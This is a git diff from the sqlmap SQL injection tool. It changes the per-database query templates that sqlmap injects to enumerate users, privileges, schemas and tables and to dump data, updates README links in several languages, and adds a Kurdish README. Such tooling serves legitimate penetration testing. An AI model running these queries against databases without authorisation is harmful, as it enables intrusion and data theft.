<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME,ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE OWNER='%s') WHERE LIMIT=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE OWNER='%s'"/> <blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME,ROWNUM AS CAP FROM SYS.ALL_TABLES WHERE OWNER='%s') WHERE CAP=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE OWNER='%s'"/>
</tables> </tables>
<columns> <columns>
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/> <inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
@@ -302,7 +302,7 @@
</columns> </columns>
<dump_table> <dump_table>
<inband query="SELECT %s FROM %s ORDER BY ROWNUM"/> <inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq ORDER BY ROWNUM) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/> <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
</dump_table> </dump_table>
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes --> <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
<search_db> <search_db>
@@ -606,7 +606,7 @@
<length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/> <length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
<isnull query="COALESCE(%s,' ')"/> <isnull query="COALESCE(%s,' ')"/>
<delimiter query="||"/> <delimiter query="||"/>
<limit query="ROW_NUMBER() OVER () AS LIMIT %s) AS qq WHERE LIMIT"/> <limit query="ROW_NUMBER() OVER () AS CAP %s) AS qq WHERE CAP"/>
<limitregexp query="ROW_NUMBER\(\)\s+OVER\s+\(\)\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+"/> <limitregexp query="ROW_NUMBER\(\)\s+OVER\s+\(\)\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+"/>
<limitgroupstart/> <limitgroupstart/>
<limitgroupstop/> <limitgroupstop/>
@@ -621,7 +621,7 @@
<hex query="HEX(%s)"/> <hex query="HEX(%s)"/>
<inference query="SUBSTR((%s),%d,1)>'%c'"/> <inference query="SUBSTR((%s),%d,1)>'%c'"/>
<!-- NOTE: We have to use the complicated UDB OLAP functions in query2 because sqlmap injects isnull query inside MAX function, else we would use: SELECT MAX(versionnumber) FROM sysibm.sysversions --> <!-- NOTE: We have to use the complicated UDB OLAP functions in query2 because sqlmap injects isnull query inside MAX function, else we would use: SELECT MAX(versionnumber) FROM sysibm.sysversions -->
<banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS LIMIT,versionnumber FROM sysibm.sysversions) AS qq WHERE LIMIT=1"/> <banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS CAP,versionnumber FROM sysibm.sysversions) AS qq WHERE CAP=1"/>
<current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/> <current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
<!-- NOTE: On DB2 we use the current user as default schema (database) --> <!-- NOTE: On DB2 we use the current user as default schema (database) -->
<current_db query="SELECT user FROM SYSIBM.SYSDUMMY1"/> <current_db query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
@@ -631,24 +631,24 @@
<is_dba query="(SELECT dbadmauth FROM syscat.dbauth WHERE grantee=current user)='Y'"/> <is_dba query="(SELECT dbadmauth FROM syscat.dbauth WHERE grantee=current user)='Y'"/>
<users> <users>
<inband query="SELECT grantee FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC'"/> <inband query="SELECT grantee FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC'"/>
<blind query="SELECT grantee FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,grantee FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC') AS qq WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(grantee)) FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC'"/> <blind query="SELECT grantee FROM (SELECT ROW_NUMBER() OVER () AS CAP,grantee FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC') AS qq WHERE CAP=%d" count="SELECT COUNT(DISTINCT(grantee)) FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC'"/>
</users> </users>
<!-- NOTE: On DB2 it is not possible to list password hashes, since they are handled by the OS --> <!-- NOTE: On DB2 it is not possible to list password hashes, since they are handled by the OS -->
<passwords/> <passwords/>
<privileges> <privileges>
<inband query="SELECT grantee,RTRIM(tabschema)||'.'||tabname||','||controlauth||alterauth||deleteauth||indexauth||insertauth||refauth||selectauth||updateauth FROM syscat.tabauth" condition="grantee"/> <inband query="SELECT grantee,RTRIM(tabschema)||'.'||tabname||','||controlauth||alterauth||deleteauth||indexauth||insertauth||refauth||selectauth||updateauth FROM syscat.tabauth" condition="grantee"/>
<blind query="SELECT tabschema||'.'||tabname||','||controlauth||alterauth||deleteauth||indexauth||insertauth||refauth||selectauth||updateauth FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,syscat.tabauth.* FROM syscat.tabauth WHERE grantee='%s') AS qq WHERE LIMIT=%d" count="SELECT COUNT(*) FROM syscat.tabauth WHERE grantee='%s'"/> <blind query="SELECT tabschema||'.'||tabname||','||controlauth||alterauth||deleteauth||indexauth||insertauth||refauth||selectauth||updateauth FROM (SELECT ROW_NUMBER() OVER () AS CAP,syscat.tabauth.* FROM syscat.tabauth WHERE grantee='%s') AS qq WHERE CAP=%d" count="SELECT COUNT(*) FROM syscat.tabauth WHERE grantee='%s'"/>
</privileges> </privileges>
<roles/> <roles/>
<statements/> <statements/>
<!-- NOTE: in DB2 schema names are the counterpart to database names on other DBMSes --> <!-- NOTE: in DB2 schema names are the counterpart to database names on other DBMSes -->
<dbs> <dbs>
<inband query="SELECT schemaname FROM syscat.schemata"/> <inband query="SELECT schemaname FROM syscat.schemata"/>
<blind query="SELECT schemaname FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,schemaname FROM syscat.schemata) AS qq WHERE LIMIT=%d" count="SELECT COUNT(schemaname) FROM syscat.schemata"/> <blind query="SELECT schemaname FROM (SELECT ROW_NUMBER() OVER () AS CAP,schemaname FROM syscat.schemata) AS qq WHERE CAP=%d" count="SELECT COUNT(schemaname) FROM syscat.schemata"/>
</dbs> </dbs>
<tables> <tables>
<inband query="SELECT tabschema,tabname FROM sysstat.tables" condition="tabschema"/> <inband query="SELECT tabschema,tabname FROM sysstat.tables" condition="tabschema"/>
<blind query="SELECT tabname FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,tabname FROM sysstat.tables WHERE tabschema='%s') AS qq WHERE LIMIT=INT('%d')" count="SELECT COUNT(*) FROM sysstat.tables WHERE tabschema='%s'"/> <blind query="SELECT tabname FROM (SELECT ROW_NUMBER() OVER () AS CAP,tabname FROM sysstat.tables WHERE tabschema='%s') AS qq WHERE CAP=INT('%d')" count="SELECT COUNT(*) FROM sysstat.tables WHERE tabschema='%s'"/>
</tables> </tables>
<columns> <columns>
<inband query="SELECT name,RTRIM(coltype)||'('||RTRIM(CAST(length AS CHAR(254)))||')' FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" condition="name"/> <inband query="SELECT name,RTRIM(coltype)||'('||RTRIM(CAST(length AS CHAR(254)))||')' FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" condition="name"/>
@@ -656,7 +656,7 @@
</columns> </columns>
<dump_table> <dump_table>
<inband query="SELECT %s FROM %s"/> <inband query="SELECT %s FROM %s"/>
<blind query="SELECT ENTRY_VALUE FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,%s AS ENTRY_VALUE FROM %s) AS qq WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/> <blind query="SELECT ENTRY_VALUE FROM (SELECT ROW_NUMBER() OVER () AS CAP,%s AS ENTRY_VALUE FROM %s) AS qq WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
</dump_table> </dump_table>
<search_db> <search_db>
<inband query="SELECT schemaname FROM syscat.schemata WHERE %s" condition="schemaname"/> <inband query="SELECT schemaname FROM syscat.schemata WHERE %s" condition="schemaname"/>
@@ -679,8 +679,8 @@
<delimiter query="||"/> <delimiter query="||"/>
<limit query="LIMIT %d %d" query2="LIMIT %d OFFSET %d"/> <limit query="LIMIT %d %d" query2="LIMIT %d OFFSET %d"/>
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/> <limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
<limitgroupstart query="1"/> <limitgroupstart query="2"/>
<limitgroupstop query="2"/> <limitgroupstop query="1"/>
<limitstring query=" LIMIT "/> <limitstring query=" LIMIT "/>
<order query="ORDER BY %s ASC"/> <order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/> <count query="COUNT(%s)"/>
@@ -747,10 +747,10 @@
<length query="CHAR_LENGTH(%s)"/> <length query="CHAR_LENGTH(%s)"/>
<isnull query="IFNULL(%s,' ')"/> <isnull query="IFNULL(%s,' ')"/>
<delimiter query="||"/> <delimiter query="||"/>
<limit query="OFFSET %d LIMIT %d"/> <limit query="LIMIT %d OFFSET %d"/>
<limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/> <limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
<limitgroupstart query="1"/> <limitgroupstart query="2"/>
<limitgroupstop query="2"/> <limitgroupstop query="1"/>
<limitstring query=" OFFSET "/> <limitstring query=" OFFSET "/>
<order query="ORDER BY %s ASC"/> <order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/> <count query="COUNT(%s)"/>
@@ -770,7 +770,7 @@
<check_udf/> <check_udf/>
<users> <users>
<inband query="SELECT NAME FROM INFORMATION_SCHEMA.USERS"/> <inband query="SELECT NAME FROM INFORMATION_SCHEMA.USERS"/>
<blind query="SELECT NAME FROM INFORMATION_SCHEMA.USERS OFFSET %d LIMIT 1" count="SELECT COUNT(NAME) FROM INFORMATION_SCHEMA.USERS"/> <blind query="SELECT NAME FROM INFORMATION_SCHEMA.USERS LIMIT 1 OFFSET %d" count="SELECT COUNT(NAME) FROM INFORMATION_SCHEMA.USERS"/>
</users> </users>
<passwords/> <passwords/>
<privileges/> <privileges/>
@@ -778,11 +778,11 @@
<statements/> <statements/>
<dbs> <dbs>
<inband query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA"/> <inband query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA"/>
<blind query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA OFFSET %d LIMIT 1" count="SELECT COUNT(SCHEMA_NAME) FROM INFORMATION_SCHEMA.SCHEMATA"/> <blind query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1 OFFSET %d" count="SELECT COUNT(SCHEMA_NAME) FROM INFORMATION_SCHEMA.SCHEMATA"/>
</dbs> </dbs>
<tables> <tables>
<inband query="SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES" condition="TABLE_SCHEMA"/> <inband query="SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES" condition="TABLE_SCHEMA"/>
<blind query="SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s'"/> <blind query="SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s'"/>
</tables> </tables>
<columns> <columns>
<blind query="SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" query2="SELECT TYPE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND TABLE_SCHEMA='%s'" count="SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s'" condition="COLUMN_NAME"/> <blind query="SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" query2="SELECT TYPE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND TABLE_SCHEMA='%s'" count="SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s'" condition="COLUMN_NAME"/>
@@ -875,8 +875,8 @@
<delimiter query="||"/> <delimiter query="||"/>
<limit query="LIMIT %d OFFSET %d"/> <limit query="LIMIT %d OFFSET %d"/>
<limitregexp query="\s+LIMIT\s+([\d]+)\s*OFFSET\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/> <limitregexp query="\s+LIMIT\s+([\d]+)\s*OFFSET\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
<limitgroupstart query="1"/> <limitgroupstart query="2"/>
<limitgroupstop query="2"/> <limitgroupstop query="1"/>
<limitstring query=" LIMIT "/> <limitstring query=" LIMIT "/>
<order query="ORDER BY %s ASC"/> <order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/> <count query="COUNT(%s)"/>
@@ -940,8 +940,8 @@
<delimiter query="||"/> <delimiter query="||"/>
<limit query="OFFSET %d ROWS FETCH FIRST %d ROWS ONLY"/> <limit query="OFFSET %d ROWS FETCH FIRST %d ROWS ONLY"/>
<limitregexp query="OFFSET\s+([\d]+)\s+ROWS\s+FETCH\s+FIRST\s+([\d]+)\s+ROWS\s+ONLY"/> <limitregexp query="OFFSET\s+([\d]+)\s+ROWS\s+FETCH\s+FIRST\s+([\d]+)\s+ROWS\s+ONLY"/>
<limitgroupstart query="2"/> <limitgroupstart query="1"/>
<limitgroupstop query="1"/> <limitgroupstop query="2"/>
<limitstring/> <limitstring/>
<order query="ORDER BY %s ASC"/> <order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/> <count query="COUNT(%s)"/>
@@ -1359,32 +1359,32 @@
</roles> </roles>
<statements/> <statements/>
<dbs> <dbs>
<inband query="SELECT schema_name FROM information_schema.schemata"/> <inband query="SELECT name FROM system.databases"/>
<blind query="SELECT schema_name FROM information_schema.schemata ORDER BY schema_name LIMIT 1 OFFSET %d" count="SELECT COUNT(schema_name) FROM information_schema.schemata"/> <blind query="SELECT name FROM system.databases ORDER BY name LIMIT 1 OFFSET %d" count="SELECT COUNT(name) FROM system.databases"/>
</dbs> </dbs>
<tables> <tables>
<inband query="SELECT table_schema,table_name FROM information_schema.tables" condition="table_schema"/> <inband query="SELECT database,name FROM system.tables" condition="database"/>
<blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/> <blind query="SELECT name FROM system.tables WHERE database='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(name) FROM system.tables WHERE database='%s'"/>
</tables> </tables>
<columns> <columns>
<inband query="SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/> <inband query="SELECT name,type FROM system.columns WHERE table='%s' AND database='%s'" condition="name"/>
<blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s' LIMIT %d,1" query2="SELECT column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/> <blind query="SELECT name FROM system.columns WHERE table='%s' AND database='%s'" query2="SELECT type FROM system.columns WHERE table='%s' AND name='%s' AND database='%s'" count="SELECT COUNT(name) FROM system.columns WHERE table='%s' AND database='%s'" condition="name"/>
</columns> </columns>
<dump_table> <dump_table>
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/> <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1 " count="SELECT COUNT(*) FROM %s.%s"/> <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1 " count="SELECT COUNT(*) FROM %s.%s"/>
</dump_table> </dump_table>
<search_table> <search_table>
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/> <inband query="SELECT database,name FROM system.tables WHERE %s" condition="name" condition2="database"/>
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/> <blind query="SELECT DISTINCT(database) FROM system.tables WHERE %s" query2="SELECT DISTINCT(name) FROM system.tables WHERE database='%s'" count="SELECT COUNT(DISTINCT(database)) FROM system.tables WHERE %s" count2="SELECT COUNT(DISTINCT(name)) FROM system.tables WHERE database='%s'" condition="name" condition2="database"/>
</search_table> </search_table>
<search_column> <search_column>
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/> <inband query="SELECT database,table FROM system.columns WHERE %s" condition="name" condition2="database" condition3="table"/>
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/> <blind query="SELECT DISTINCT(database) FROM system.columns WHERE %s" query2="SELECT DISTINCT(table) FROM system.columns WHERE database='%s'" count="SELECT COUNT(DISTINCT(database)) FROM system.columns WHERE %s" count2="SELECT COUNT(DISTINCT(table)) FROM system.columns WHERE database='%s'" condition="name" condition2="database" condition3="table"/>
</search_column> </search_column>
<search_db> <search_db>
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/> <inband query="SELECT name FROM system.databases WHERE %s" condition="name"/>
<blind query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/> <blind query="SELECT name FROM system.databases WHERE %s" count="SELECT COUNT(name) FROM system.databases WHERE %s" condition="name"/>
</search_db> </search_db>
</dbms> </dbms>

View File

@@ -109,6 +109,9 @@ Alessandro Curio, <alessandro.curio(at)gmail.com>
Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com> Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
* for reporting a couple of bugs * for reporting a couple of bugs
Alexis Danizan, <alexis.danizan(at)synacktiv.com>
* for contributing support for ClickHouse
Sherif El-Deeb, <archeldeeb(at)gmail.com> Sherif El-Deeb, <archeldeeb(at)gmail.com>
* for reporting a minor bug * for reporting a minor bug

View File

@@ -45,6 +45,6 @@ sqlmap работи самостоятелно с [Python](https://www.python.or
* Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues * Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues
* Упътване: https://github.com/sqlmapproject/sqlmap/wiki * Упътване: https://github.com/sqlmapproject/sqlmap/wiki
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -0,0 +1,67 @@
# sqlmap ![](https://i.imgur.com/fe85aVR.png)
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
<div dir=rtl>
بەرنامەی `sqlmap` بەرنامەیەکی تاقیکردنەوەی چوونە ژوورەوەی سەرچاوە کراوەیە کە بە شێوەیەکی ئۆتۆماتیکی بنکەدراوە کە کێشەی ئاسایشی SQL Injection یان هەیە دەدۆزێتەوە. ئەم بەرنامەیە بزوێنەرێکی بەهێزی دیاریکردنی تێدایە. هەروەها کۆمەڵێک سکریپتی بەرفراوانی هەیە کە ئاسانکاری دەکات بۆ پیشەییەکانی تاقیکردنەوەی دزەکردن(penetration tester) بۆ کارکردن لەگەڵ بنکەدراوە. لە کۆکردنەوەی زانیاری دەربارەی بانکی داتا تا دەستگەیشتن بە داتاکانی سیستەم و جێبەجێکردنی فەرمانەکان لە ڕێگەی پەیوەندی Out Of Band لە سیستەمی کارگێڕدا.
سکرین شاتی ئامرازەکە
----
<div dir=ltr>
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
<div dir=rtl>
بۆ بینینی [کۆمەڵێک سکرین شات و سکریپت](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) دەتوانیت سەردانی ویکیەکە بکەیت.
دامەزراندن
----
بۆ دابەزاندنی نوێترین وەشانی tarball، کلیک [لێرە](https://github.com/sqlmapproject/sqlmap/tarball/master) یان دابەزاندنی نوێترین وەشانی zipball بە کلیککردن لەسەر [لێرە](https://github.com/sqlmapproject/sqlmap/zipball/master) دەتوانیت ئەم کارە بکەیت.
باشترە بتوانیت sqlmap دابەزێنیت بە کلۆنکردنی کۆگای [Git](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https://www.python.org/download/) وەشانی **2.6**، **2.7** و **3.x** لەسەر هەر پلاتفۆرمێک.
چۆنیەتی بەکارهێنان
----
بۆ بەدەستهێنانی لیستی بژاردە سەرەتاییەکان و سویچەکان ئەمانە بەکاربهێنە:
python sqlmap.py -h
بۆ بەدەستهێنانی لیستی هەموو بژاردە و سویچەکان ئەمە بەکار بێنا:
python sqlmap.py -hh
دەتوانن نمونەی ڕانکردنێک بدۆزنەوە [لێرە](https://asciinema.org/a/46601).
بۆ بەدەستهێنانی تێڕوانینێکی گشتی لە تواناکانی sqlmap، لیستی تایبەتمەندییە پشتگیریکراوەکان، و وەسفکردنی هەموو هەڵبژاردن و سویچەکان، لەگەڵ نموونەکان، ئامۆژگاریت دەکرێت کە ڕاوێژ بە [دەستنووسی بەکارهێنەر](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
بەستەرەکان
----
* ماڵپەڕی سەرەکی: https://sqlmap.org
* داگرتن: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یان [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* فیدی RSS جێبەجێ دەکات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* شوێنپێهەڵگری کێشەکان: https://github.com/sqlmapproject/sqlmap/issues
* ڕێنمایی بەکارهێنەر: https://github.com/sqlmapproject/sqlmap/wiki
* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://twitter.com/sqlmap)
* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە
وەرگێڕانەکان

View File

@@ -44,6 +44,6 @@ Links
* Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues * Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues
* Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki * Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -44,6 +44,6 @@ Enlaces
* Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues * Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues
* Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki * Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -44,6 +44,6 @@ Liens
* Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues * Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues
* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki * Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -45,6 +45,6 @@
* Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues * Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues
* Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki * Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
